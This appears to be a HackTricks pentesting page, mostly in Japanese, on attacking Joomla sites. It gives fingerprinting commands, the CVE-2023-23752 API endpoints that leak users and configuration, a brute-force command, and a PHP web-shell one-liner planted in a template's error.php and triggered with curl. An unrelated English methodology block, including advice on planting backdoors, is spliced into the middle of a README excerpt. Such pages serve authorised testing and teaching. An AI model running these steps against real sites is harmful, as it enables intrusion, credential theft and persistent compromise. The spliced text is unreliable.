Joomla

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Joomlaの統計情報

Joomlaは、Joomlaのインストールで使用されているJoomla、PHP、データベースバージョン、およびサーバーのオペレーティングシステムの分析など、いくつかの匿名の使用統計情報を収集しています。このデータは、彼らの公開APIを介してクエリできます。

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

列挙

発見/フットプリンティング

  • metaをチェック

curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Information Gathering

Version Detection

To detect the version of Joomla running on a target website, you can look for version information in the HTML source code or check the readme.html file in the Joomla root directory.

Directory Enumeration

Use tools like DirBuster or Gobuster to enumerate directories and files on the Joomla website. Look for sensitive directories like /administrator or /components.

Exploitation

Known Vulnerabilities

Search for known vulnerabilities affecting the detected Joomla version on platforms like Exploit Database or CVE Details. Exploit these vulnerabilities to gain unauthorized access.

SQL Injection

Exploit SQL injection vulnerabilities in Joomla components or plugins to extract data from the website's database. Use tools like SQLMap to automate the process.

Post-Exploitation

Privilege Escalation

After gaining initial access, escalate privileges by exploiting misconfigurations, weak file permissions, or other vulnerabilities in the Joomla installation.

Backdooring

Plant a backdoor in the Joomla website to maintain access even if the original vulnerability used for exploitation is patched. Use tools like Metasploit to create and deploy backdoors.

Countermeasures

Keep Joomla Updated

Regularly update Joomla to the latest version to patch known vulnerabilities and protect the website from exploitation.

Use Strong Authentication

Implement strong authentication mechanisms like two-factor authentication to prevent unauthorized access to the Joomla admin panel.

Monitor File Changes

Monitor file integrity and changes in the Joomla installation to detect any unauthorized modifications or backdoors planted by attackers.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

バージョン

  • /administrator/manifests/files/joomla.xml にバージョンが記載されています。

  • /language/en-GB/en-GB.xml にJoomlaのバージョンが記載されています。

  • plugins/system/cache/cache.xml におおよそのバージョンが記載されています。

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodologyは、JoomlaをスキャンできるCMSスキャナに関するセクションです

API認証なしの情報漏洩:

バージョン4.0.0から4.2.7までが認証なしの情報漏洩(CVE-2023-23752)に脆弱であり、資格情報やその他の情報をダンプします。

  • ユーザー:http://<host>/api/v1/users?public=true

  • 設定ファイル:http://<host>/api/index.php/v1/config/application?public=true

MSFモジュールscanner/http/joomla_api_improper_access_checksまたはrubyスクリプト:51334

ブルートフォース

ログインをブルートフォースするために、このスクリプトを使用できます。

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

管理者資格情報を取得した場合、PHPコードのスニペットを追加してRCEを獲得できます。これはテンプレートカスタマイズすることで行います。

  1. Configurationの下にある**Templates**をクリックして、テンプレートメニューを表示します。

  2. Template列ヘッダーの下にある**protostarを選択して、Templates: Customise**ページに移動します。

  3. 最後に、ページソースを表示するためにページをクリックします。error.phpページを選択し、以下のようにPHPのワンライナーを追加してコード実行を行います:

    • system($_GET['cmd']);

  4. 保存して閉じる

  5. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

Last updated